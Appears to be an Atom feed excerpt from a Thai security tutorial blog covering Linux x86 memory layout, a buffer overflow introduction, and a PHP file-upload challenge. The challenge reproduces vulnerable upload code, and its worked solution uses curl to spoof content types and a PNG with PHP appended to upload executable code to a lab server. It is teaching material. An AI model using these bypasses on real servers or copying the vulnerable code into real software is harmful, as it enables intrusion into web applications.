rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/12/assembly.html' title='Assembly พื้นฐาน'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_4X9aA2jxLhc/TQolkxjm3zI/AAAAAAAAACo/MziB9sBLFaQ/s72-c/cpu_register.gif' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-6694042247631192113</id><published>2010-12-13T20:09:00.002+07:00</published><updated>2011-01-05T20:54:35.991+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Process Memory Layout บน Linux x86</title><content type='html'>&lt;p&gt;ในแต่ละ process จะมีการจอง memory ไว้ใช้งาน โดยทุก process จะเห็น memory เป็นโครงสร้างเดียวกันทั้งหมด หรือที่เรียกว่า virtual memory (หน่วยความจำเสมือน) และ memory จะมีการแบ่งส่วนไว้เก็บข้อมูลต่างๆ โดยผมจะพูดถึงส่วนที่สำคัญ ตามรูปข้างล่าง (ถ้าใครไม่รู้ว่า virtual memory ก็คิดซะว่าเป็น memory ไปก่อน แต่ถ้าสนใจ แนะนำให้ไปอ่านหนังสือพวก Operating System)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TQXHOdhEd8I/AAAAAAAAACg/TPIo4Lx51ao/s1600/mem_layout.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TQXHOdhEd8I/AAAAAAAAACg/TPIo4Lx51ao/s320/mem_layout.gif" width="294" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;.text&lt;/b&gt; ส่วนนี้ใช้สำหรับเก็บ code ของโปรแกรมที่แปลงเป็น machine code แล้ว โดย default ส่วนนี้จะเป็น read-only (อ่านได้อย่างเดียว) ไม่สามารถเขียนทับได้&lt;/li&gt;&lt;li&gt;&lt;b&gt;.bss&lt;/b&gt; ส่วนนี้ตัวแปร global ที่มีการ initialize (ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น &lt;span class="code"&gt;int a = 0;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;.data&lt;/b&gt; ส่วนนี้ตัวแปร global ที่ไม่มีการ initialize (ไม่ถูกกำหนดค่าไว้ตั้งแต่โปรแกรมเริ่ม) เช่น &lt;span class="code"&gt;int a;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;heap&lt;/b&gt; เป็นส่วนที่สามารถขยายได้ โดย address จะขยายจาก low address ไปยัง high address เพื่อใช้สำหรับจองและเก็บข้อมูลที่มีขนาดไม่แน่นอน ในขณะที่โปรแกรมทำงานอยู่ โดยคำสั่งที่ใช้ใน C เพื่อควบคุมส่วนนี้คือ &lt;span class="code"&gt;malloc()&lt;/span&gt; และ &lt;span class="code"&gt;free()&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;stack&lt;/b&gt; ใช้สำหรับเก็บข้อมูลของการเรียกฟังก์ชัน (function call) เพื่อให้โปรแกรมสามารถกลับมาทำงานต่อได้ หลังจากโปรแกรมจบฟังก์ชันที่เรียก โดย address ของส่วนนี้จะขยายจาก high address ไปยัง low address&lt;br /&gt;จะเห็นว่าในรูป ผมได้มี argv กับ env ใน stack ด้วย ในขณะนี้โปรแกรมจะเริ่มทำงาน โปรแกรมได้มีการเก็บข้อมูล environment (สามารถดูได้จากคำสั่ง &lt;span class="code"&gt;env&lt;/span&gt;) และ arguments ของโปรแกรมนั้นลงบน stack ด้วย&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Endian&lt;/h4&gt;&lt;p&gt;Endian นั้นจะมี big endian กับ little endian โดยจะต่างกันในเรื่องของ byte order เช่นถ้าเราจะเก็บข้อมูล integer ที่มีขนาด 4 bytes (32 bits) ค่า 0x41424344 ใน memory ก็จะเก็บได้ตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TQXHN7BjYUI/AAAAAAAAACc/ZCXmLWcskxI/s1600/endian.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TQXHN7BjYUI/AAAAAAAAACc/ZCXmLWcskxI/s320/endian.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จะเห็นว่า big endian นั้นเก็บข้อมูลเรียงตามปกติที่เราเขียน แต่ little endian นั้นจะเก็บข้อมูลจาก byte ที่มีค่าน้อยที่สุดก่อน&lt;br /&gt;สำหรับ x86 ที่ผมจะพูดถึงในเรื่องการเขียน exploit จะใช้การเก็บข้อมูลเป็นแบบ little endian ถ้าใครไม่เคยอ่านแบบนี้ แรกๆอาจจะงงกันได้ แต่ถ้าได้ทำบ่อยๆ ก็จะคุ้นเคยกับมันไปเอง&lt;/p&gt;&lt;h4&gt;Stack&lt;/h4&gt;&lt;p&gt;ปกติเราคงคุ้นเคยกับ queue (คิว) คือใครต่อแถวก่อนได้ก่อน หรือคนเรียนคอมพิวเตอร์จะเรียกว่า First In First Out(เข้าก่อนออกก่อน) ย่อๆว่า FIFO ส่วน stack (กองซ้อน) คือวิธีการเก็บข้อมูลแบบนี้ ที่ตรงกับข้ามกับ queue โดยจะเรียกว่า Last In First Out (เข้าทีหลังออกก่อน) ย่อๆ ว่า LIFO โดย stack ที่น่าเคยเห็นกันทุกคนคือ กล่องใส่ซีดีที่มีแกนอยู่ตรงกลาง แผ่นซีดีที่เราใส่เป็นแผ่นสุดท้าย เราต้องเอาออกก่อน ส่วนแผ่นซีดีที่เราใส่เป็นแผ่นแรก จะเป็นแผ่นสุดท้ายที่เราเอาออกมาได้&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_4X9aA2jxLhc/TQXHO0SiDvI/AAAAAAAAACk/xvxpdq1mfvI/s1600/stack_pushpop.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="110" src="http://4.bp.blogspot.com/_4X9aA2jxLhc/TQXHO0SiDvI/AAAAAAAAACk/xvxpdq1mfvI/s320/stack_pushpop.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;ในคอมพิวเตอร์จะมี 2 operation (การกระทำ) หลักๆ คือ push กับ pop โดย push คือการใส่ข้อมูลที่บนสุดของ stack ส่วน pop คือการเอาข้อมูลที่อยู่บนสุดของ stack ออกมา ตามรูปข้างล่าง&lt;/p&gt;&lt;br/&gt;&lt;p&gt;ในหัวข้อนี้ ผมได้พูดถึง memory layout ของ process บน Linux x86 โดยส่วนที่จะได้พบและใช้บ่อยๆในการเขียน exploit คือส่วนของ stack ที่ผมยังไม่ได้ลงรายละเอียดมากนัก ซึ่งจะมีเพิ่มเติมในหัวข้อถัดๆ ไป&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-6694042247631192113?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/6694042247631192113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/12/process-memory-layout-x86.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6694042247631192113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6694042247631192113'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/12/process-memory-layout-x86.html' title='Process Memory Layout บน Linux x86'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_4X9aA2jxLhc/TQXHOdhEd8I/AAAAAAAAACg/TPIo4Lx51ao/s72-c/mem_layout.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-6578143124669034690</id><published>2010-12-04T14:03:00.087+07:00</published><updated>2011-01-08T22:35:10.120+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='file upload'/><title type='text'>PHP file upload (เฉลย)</title><content type='html'>&lt;p&gt;อาทิตย์หนึ่งผ่านไปจาก &lt;a href="http://thtutz.blogspot.com/2010/11/php-file-upload.html"&gt;post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload&lt;/a&gt; วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน&lt;/p&gt;&lt;p&gt;ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก &amp;lt;br /&amp;gt; เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้&lt;/p&gt;&lt;pre class="code language-html"&gt;&lt;br /&gt;POST /upload.php HTTP/1.1&lt;br /&gt;Host: 192.168.1.100&lt;br /&gt;User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 115&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Referer: http://192.168.1.100/upload.html&lt;br /&gt;Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886&lt;br /&gt;Content-Length: 390&lt;br /&gt;&lt;br /&gt;-----------------------------194488808416516608941591502886&lt;br /&gt;Content-Disposition: form-data; name="file"; filename="arrow.gif"&lt;br /&gt;Content-Type: image/gif&lt;br /&gt;&lt;br /&gt;GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......&lt;br /&gt;.`.."..fs...2.(.[..Lh....a~.fX..$..;&lt;br /&gt;-----------------------------194488808416516608941591502886--&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 04 Dec 2010 05:32:41 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Content-Length: 120&lt;br /&gt;Keep-Alive: timeout=5, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;Upload: arrow.gif&lt;br /&gt;Type: image/gif&lt;br /&gt;Size: 0.166015625 Kb&lt;br /&gt;Temp file: C:\WINDOWS\Temp\php19D.tmp&lt;br /&gt;Stored in: upload/arrow.gif&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้&lt;/p&gt;&lt;p&gt;หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า &lt;span class="code"&gt;$_FILES["file"]["type"]&lt;/span&gt; นั้นเป็นชนิดที่เราอนุญาติหรือไม่&lt;br/&gt;ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php&lt;br /&gt;Invalid file&lt;br /&gt;$&lt;br /&gt;&lt;/pre&gt;โดยจะมี HTTP request และ response เป็น (จาก Wireshark)&lt;pre class="code language-html"&gt;&lt;br /&gt;POST /upload.php HTTP/1.0&lt;br /&gt;User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15&lt;br /&gt;Host: 192.168.1.100&lt;br /&gt;Accept: */*&lt;br /&gt;Content-Length: 354&lt;br /&gt;Content-Type: multipart/form-data; boundary=----------------------------f627444651d8&lt;br /&gt;&lt;br /&gt;------------------------------f627444651d8&lt;br /&gt;Content-Disposition: form-data; name="file"; filename="arrow.gif"&lt;br /&gt;Content-Type: foo/bar&lt;br /&gt;&lt;br /&gt;GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......&lt;br /&gt;.`.."..fs...2.(.[..Lh....a~.fX..$..;&lt;br /&gt;------------------------------f627444651d8--&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 04 Dec 2010 06:04:21 GMT&lt;br /&gt;Server: Apache&lt;br /&gt;Content-Length: 13&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;Invalid file&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า &lt;span class="code"&gt;$_FILES["file"]["type"]&lt;/span&gt; นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์&lt;/p&gt;&lt;p&gt;เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ cat info.php&lt;br /&gt;&amp;lt;?php phpinfo();&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;แล้ว upload file ด้วยคำสั่ง&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php&lt;br /&gt;Upload: info.php&lt;br /&gt;Type: image/gif&lt;br /&gt;Size: 0.0166015625 Kb&lt;br /&gt;Temp file: C:\WINDOWS\Temp\php1A3.tmp&lt;br /&gt;Stored in: upload/info.php&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เย้ ทำได้แล้วปัญหาที่ 1 :)&lt;/p&gt;&lt;p&gt;เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ&lt;/p&gt;&lt;pre class="code language-php linenums:12" &gt;&lt;br /&gt;    $info = getimagesize($_FILES["file"]["tmp_name"]);&lt;br /&gt;    if ($info == FALSE) {&lt;br /&gt;      echo "Invalid image file";&lt;br /&gt;    }&lt;br /&gt;    else if ($info["mime"] != "image/png") {&lt;br /&gt;      echo "Image is not PNG";&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php&lt;br /&gt;Upload: info.php&lt;br /&gt;Type: image/png&lt;br /&gt;Size: 0.0166015625 Kb&lt;br /&gt;Temp file: C:\WINDOWS\Temp\php1AF.tmp&lt;br /&gt;Invalid image file.&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S&lt;/p&gt;&lt;br/&gt;&lt;p&gt;เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย &amp;lt;?php และปิดด้วย ?&amp;gt; โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ&lt;/p&gt;&lt;p&gt;ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย &lt;span class="code"&gt;getimagesize()&lt;/span&gt; นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ls -l ad.png info.php&lt;br /&gt;-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png&lt;br /&gt;-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php&lt;br /&gt;$ cat ad.png info.php &gt; mypng.php&lt;br /&gt;$ ls -l mypng.php&lt;br /&gt;-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php&lt;br /&gt;$ file mypng.php&lt;br /&gt;mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี&lt;/p&gt;&lt;p&gt;และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php&lt;br /&gt;Upload: mypng.php&lt;br /&gt;Type: image/png&lt;br /&gt;Size: 0.64453125 Kb&lt;br /&gt;Temp file: C:\WINDOWS\Temp\php1B3.tmp&lt;br /&gt;Stored in: upload/mypng.php&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code&lt;/p&gt;&lt;p&gt;คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง &lt;span class="code"&gt;pathinfo()&lt;/span&gt; เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-6578143124669034690?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/6578143124669034690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/12/php-file-upload.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6578143124669034690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6578143124669034690'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/12/php-file-upload.html' title='PHP file upload (เฉลย)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-2054870790489252302</id><published>2010-11-28T20:04:00.004+07:00</published><updated>2011-01-02T09:08:25.215+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='file upload'/><title type='text'>PHP file upload (คำถาม)</title><content type='html'>&lt;p&gt;ระหว่างคอยเนื้อหาการเขียน exploit ที่ผมต้องใช้เวลาอีกซักพัก ในการเตรียมและทดสอบหลายๆ อย่าง&lt;br/&gt;คราวนี้ผมให้เป็นโจทย์ไปดีกว่า (ผมจะได้ไม่ต้องใช้เวลาเขียนเยอะ :D) แล้วผมคอยมาเฉลย(อธิบาย) ทีหลัง&lt;/p&gt;&lt;p&gt;เรื่องนี้ก็เป็นไปตามชื่อเรื่อง ตอนแรกผมก็คิดเล่นๆ แต่พอลอง search ดู พบว่า code ตัวอย่างใน w3cshools ก็มีช่องโหว่ เลยเอามาให้ทำซะเลย (ให้ setup web server เอาเองนะครับ)&lt;/p&gt;&lt;p&gt;ปัญหาที่ 1 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/upload1.php?attredirects=0&amp;d=1"&gt;upload1.php&lt;/a&gt;) (copy มาจาก &lt;a href="http://w3schools.com/PHP/php_file_upload.asp"&gt;http://w3schools.com/PHP/php_file_upload.asp&lt;/a&gt;)&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if ((($_FILES["file"]["type"] == "image/gif")&lt;br /&gt;|| ($_FILES["file"]["type"] == "image/jpeg")&lt;br /&gt;|| ($_FILES["file"]["type"] == "image/pjpeg"))&lt;br /&gt;&amp;&amp; ($_FILES["file"]["size"] &lt; 20000))&lt;br /&gt;  {&lt;br /&gt;  if ($_FILES["file"]["error"] &gt; 0)&lt;br /&gt;    {&lt;br /&gt;    echo "Return Code: " . $_FILES["file"]["error"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;    }&lt;br /&gt;  else&lt;br /&gt;    {&lt;br /&gt;    echo "Upload: " . $_FILES["file"]["name"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Type: " . $_FILES["file"]["type"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;&lt;br /&gt;    if (file_exists("upload/" . $_FILES["file"]["name"]))&lt;br /&gt;      {&lt;br /&gt;      echo $_FILES["file"]["name"] . " already exists. ";&lt;br /&gt;      }&lt;br /&gt;    else&lt;br /&gt;      {&lt;br /&gt;      move_uploaded_file($_FILES["file"]["tmp_name"],&lt;br /&gt;      "upload/" . $_FILES["file"]["name"]);&lt;br /&gt;      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;else&lt;br /&gt;  {&lt;br /&gt;  echo "Invalid file";&lt;br /&gt;  }&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;code ข้างบนมีช่องโหว่อยู่ หาวิธี upload php file ให้ได้ (ใจดีนะเนี่ย ที่บอกว่าให้ทำอะไร จริงๆแล้ว ต้องรู้เองว่าต้องทำอะไร)&lt;/p&gt;&lt;p&gt;โจทย์ข้างบนผมว่าง่ายเกินไป ผมเลยขอแก้ไข code ข้างบน (ให้อ่านง่ายขึ้นด้วย) ยากขึ้นอีกนิดหน่อย&lt;/p&gt;&lt;p&gt;ปัญหาที่ 2 (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/upload2.php?attredirects=0&amp;d=1"&gt;upload2.php&lt;/a&gt;)&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if ($_FILES["file"]["type"] == "image/png") {&lt;br /&gt;  if ($_FILES["file"]["error"] &gt; 0) {&lt;br /&gt;    echo "Return Code: " . $_FILES["file"]["error"];&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;    echo "Upload: " . $_FILES["file"]["name"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Type: " . $_FILES["file"]["type"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb&amp;lt;br /&amp;gt;";&lt;br /&gt;    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "&amp;lt;br /&amp;gt;";&lt;br /&gt;&lt;br /&gt;    $info = getimagesize($_FILES["file"]["tmp_name"]);&lt;br /&gt;    if ($info == FALSE) {&lt;br /&gt;      echo "Invalid image file";&lt;br /&gt;    }&lt;br /&gt;    else if ($info["mime"] != "image/png") {&lt;br /&gt;      echo "Image is not PNG";&lt;br /&gt;    }&lt;br /&gt;    else if (file_exists("upload/" . $_FILES["file"]["name"])) {&lt;br /&gt;      echo $_FILES["file"]["name"] . " already exists. ";&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;      move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);&lt;br /&gt;      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;  echo "Invalid file";&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;ปัญหาที่ 2 เพิ่มการตรวจสอบอีกนิดหน่อย ผมว่าก็ยังง่ายอยู่นะ&lt;/p&gt;&lt;p&gt;คนรู้อยู่แล้ว หรือทำได้แล้ว ก็ไม่ต้องเขียนเฉลยนะครับ ให้คนอื่นเขาหาทางกันเองก่อน จริงๆ แล้วเดี๋ยวผมไม่มีอะไรให้เขียน :D&lt;/p&gt;&lt;p&gt;Update:ผมได้ publish เฉลยแล้วนะครับ ถ้าไม่อยากคิดก็ &lt;a href="http://thtutz.blogspot.com/2010/12/php-file-upload.html"&gt;กดเลยครับ&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-2054870790489252302?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/2054870790489252302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/11/php-file-upload.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2054870790489252302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2054870790489252302'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/11/php-file-upload.html' title='PHP file upload (คำถาม)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-5784936765438503764</id><published>2010-11-27T17:44:00.003+07:00</published><updated>2011-05-02T22:57:46.762+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Buffer Overflow คืออะไร</title><content type='html'>&lt;p&gt;ก่อนเริ่ม ผมขอบอกก่อนว่า ในที่นี้จะกล่าวถึงเฉพาะ Linux ใครที่สนใจ Windows คงต้องคอยอีกนาน (จนกว่าผมจะหมดวิธีเขียน exploit ต่างๆ บน Linux) โดยตัวอย่าง(น่าจะ)ทั้งหมด ผมจะใช้ Ubuntu 10.04 (32 bit) ดังนั้นถ้าใครสนใจ ก็เตรียม VMWare หรือ VirtualBox หรือ ...(แล้วแต่ถนัด) ไว้ได้เลย&lt;br/&gt;ถึงแม้ว่าคุณจะใช้ Ubuntu 10.04 เป็น OS หลักอยู่แล้ว ผมก็แนะนำให้ลงในพวก Virtual Machine เพราะจะต้องมีการใส่ code ที่มีช่องโหว่ (Vulnerable code) และปิด security feature 